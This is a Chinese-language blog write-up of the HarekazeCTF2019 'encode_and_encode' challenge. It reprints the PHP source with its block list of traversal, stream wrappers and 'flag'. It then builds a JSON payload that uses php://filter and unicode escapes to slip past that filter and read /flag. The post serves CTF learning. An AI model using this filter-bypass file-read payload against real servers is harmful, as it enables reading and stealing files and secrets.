当前位置:网站首页>[HarekazeCTF2019]encode_and_encode
[HarekazeCTF2019]encode_and_encode
2022-07-26 22:39:00 【茶经新读.】
[HarekazeCTF2019]encode_and_encode

依次点进去分别发现了:


<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
审计上面代码得知,过滤了很多的关键字
$body = file_get_contents('php://input');
$json = json_decode($body, true);审计上面代码得知,我们需要用json的方式传page,并且会用到伪协议,并且会涉及到php file_get_contents函数:
php file_get_contents()函数:
定义与用法:
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
语法:
file_get_contents(path,include_path,context,start,max_length)
参数:
path 必需。规定要读取的文件。 include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。 context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 提示和注释:
提示:该函数是二进制安全的。(意思是二进制数据(如图像)和字符数据都可以使用此函数写入。)
示例:
<?php
echo file_get_contents("test.txt");
?>
上面的代码将输出:
This is a test with test text.
构造payload:
{"page":"php://filter/convert.base64-encode/resource=/flag"}
但是由于关键字flag、php都被禁用了,可以利用unicode编码来代替,构造新的payload:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
利用bp传一下数据,当抓包后点击about的时候,页面出来了{"page":"pages/about.html"},所以就用这个页面进行传值,就得到了base64加密字符串:

解密即得flag:

边栏推荐
- 裁剪tif影像
- 八皇后 N皇后
- 【AtCoder Beginner Contest 261 (A·B·C·D)】
- JSCORE day_03(7.4)
- 重学JSON.stringify
- [acwing game 61]
- Leetcode high frequency question: the choice of the inn, how many options to choose accommodation, to ensure that you can find a coffee shop with a minimum consumption of no more than p yuan in the ev
- 8_多项式回归及模型泛化(Polynomial Regression and Model Generalization)
- Parallel MPI program delivery send message
- C语言 关机小程序
猜你喜欢

Search engine realizes keyword highlighting
![[acwing game 61]](/img/83/c9a43536705451a60252720fc41d14.jpg)
[acwing game 61]

裁剪tif影像

Use of postman

Dynamic binding, static binding, and polymorphism

MySQL associative table queries (reducing the number of queries)

Reduced dimension mean dot product matrix multiplicative norm probability normal distribution square loss

继承,继承,继承
![[3. Basic search and first knowledge of graph theory]](/img/a2/dced231f746cc049d310e364a81856.png)
[3. Basic search and first knowledge of graph theory]

JSCORE day_05(7.6)
随机推荐
On the expression of thymeleaf
用New,delete和用malloc,free申请,释放堆区空间
QML type system
Helicopter control system based on Simulink
【4.2 约数】
Vector size performance problems
AutoCAD的卸载后重新安装,删除注册表的详细过程
DOM day_01(7.7) dom的介绍和核心操作
Request attribute in crawler
Visual studio C cs0006 C failed to find metadata file
Torch. correlation function
Find method of web page parsing by crawler
Promise基本用法 20211130
C language to find prime numbers, leap years and minimum common multiples and maximum common divisors
Huffman encoding and decoding
Ansible MySQL installation case record
Apply with new, delete and malloc, free to free the heap space
【3. 基础搜索与图论初识】
【AcWing第61场周赛】
[4.4 detailed explanation of fast power and inverse element of fast power]